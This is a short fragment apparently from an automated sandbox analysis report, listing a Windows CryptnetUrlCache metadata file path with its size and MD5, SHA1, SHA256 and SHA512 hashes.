SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Filesize404B
MD525a1829848ec2266299dbd4f72b9ca57
SHA1993783f9ff964c6fa745cc20d546724cd8ca47c9
SHA256addb609358cdc046e54b54d3bdf9f26c17003f2a6b7de43763f0d7209518c171
SHA5126f21c945816d1b22827c9933be731c2c1f0da3a119c7ed3d62a70525477a224481cafced46bf4216dbf2f4ef93389b8df856c69184939215c584d9151d5e71c4